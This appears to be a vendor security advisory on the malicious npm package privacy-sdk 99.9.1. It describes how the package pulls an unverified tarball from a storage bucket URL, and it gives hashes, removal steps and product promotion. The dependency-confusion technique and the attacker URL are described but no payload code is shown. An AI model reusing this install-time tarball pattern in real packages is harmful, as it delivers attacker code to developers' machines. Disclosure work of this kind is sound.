Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

privacy-sdknpm

Malicious code in privacy-sdk (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5451
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall privacy-sdk

What this malware does

[email protected] is a hollow wrapper (index.js is module.exports = {}, blank description, blank author) whose sole runtime dependency is declared as a raw tarball URL: "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-2.8.9.tgz". On npm install privacy-sdk, npm fetches that tarball directly from the GCS bucket — bypassing the npm registry's publication, audit, and integrity-hash mechanisms — and installs it, executing any lifecycle scripts (preinstall/install/postinstall) bundled inside. The bucket and depenconf path do not correspond to any identifiable publisher, the URL has no integrity field, and the bytes at that URL are mutable by whoever controls the bucket. The version 99.9.1 is the canonical high-version dependency-confusion pattern used to outrank an organization's internal privacy-sdk package, and the generic name compounds that risk. The package has no advertised functionality of its own; its only effect on install is to deliver attacker-controlled code into the installer's environment via the smuggled tarball.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged
99.9.1

Indicators of compromise (SHA-256)

3fde8996f6e327af3c05557575254a0ded23e8f31a7b4f5219e1c26615ec3a28
5c92b5d6dae289f8667ca24f2a941473b65e560f6937874f68ff26ed24d58969
1825b4f06e2197776dc61ab1ddea99c0afeeae873e0d1a9c010c90d1483defea
ab02f43a2159826ea67feacaa257f1efa02dd43ea7c0bd975de578585f262e3f

Detection & response playbook

Malicious package
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for privacy-sdk (version 99.9.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging privacy-sdk across your stack and pipelines.

  2. If you installed it — respond

    Remove privacy-sdk from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If privacy-sdk was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks privacy-sdk before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. privacy-sdk on npm has been identified as a malicious package (version 99.9.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005042IN-MAL-2026-005041GHSA-wrgr-9636-hfmhRLMA-2026-05598

References

Credits

  • Amazon Inspector · finder
  • ReversingLabs · finder

Detect & block this

O3 blocks privacy-sdk-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

privacy-sdk (npm) malicious package — MAL-2026-5451 | O3 Security